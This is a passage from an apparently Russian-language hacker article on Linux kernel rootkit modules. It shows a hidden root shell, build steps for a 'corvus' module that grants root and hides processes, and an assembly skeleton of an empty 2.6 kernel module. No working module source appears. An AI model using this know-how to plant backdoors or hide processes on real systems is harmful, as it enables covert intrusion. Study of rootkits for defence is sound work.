$ ld -o shell shell.o
$ ./shell
sh-2.05a# id
uid=0(root) gid=17
sh-2.05a#
Такие вот дела. Этот шелл и порождённые им процессы будут невидимы, ибо
наследуют gid == 17 (0x11). Невидимые же процессы друг друга видеть
могут.
В include/linux_mod/ лежат сорцы и всё что надо. Юзать corvus например так:
# ./make.sh (создаст папку с версией ядра и в ней собранные модули будут)
# ls 2.4.20/
corvus.o give_root.o hide_proc.o
give_root - модуль только даёт рута
hide_proc - модуль только прячет процессы
corvus - модуль делает и то и то )
но для большей гибкости он разбит на два give_root и hide_proc =)
==[2] kernel loadable module 2.6.x ]]=========================================
В 2.6 очень сильно поменяли формат модулей, теперь там модуль разбит на
такие секции:
.init.text (executable, allocate, read-only, bla bla bla)
здесь должен лежать код init_module
.exit.text (executable, allocate, read-only, bla bla bla)
здесь должен быть код cleanup_module
.text (executable, allocate, read-only, bla bla bla)
код модуля
.modinfo (не требуется загрузка в ядро)
инфа о лицензии модуля и под какое ядро собрано. В 2.6 вместо директивы
kernel_version появилась vermagic в которой указывается и ядро, и
архитектура и прочее. например:
vermagic=2.6.21.3-smp SMP preempt mod_unload 686
.gnu.linkonce.this_module (allocate, link-once)
здесь должна лежать пустая структура module, заполнено должно быть только
поле с именем модуля (оффсет 0x0c).
Вот пример пустого модуля на ассемблере под ядро 2.6:
.text
evil_code:
xorl %eax, %eax
ret
.section .init.text, "ax"
init_module:
xorl %eax, %eax
ret
.section .exit.text, "ax"
cleanup_module:
ret
.data
.section .modinfo
.string "kernel_version=2.6.21.3-smp"
.string "license=GPL"
.string "vermagic=2.6.21.3-smp SMP preempt mod_unload 686"
.section .gnu.linkonce.this_module, "a"
__this_module:
.long 0
.long 0
.long 0
.ascii "hack"
.space 0x1200
Портирование под 2.6 пожалуй будет темой отдельной статьи ) Так что have
fun с тем что есть ну и эксперементируйте )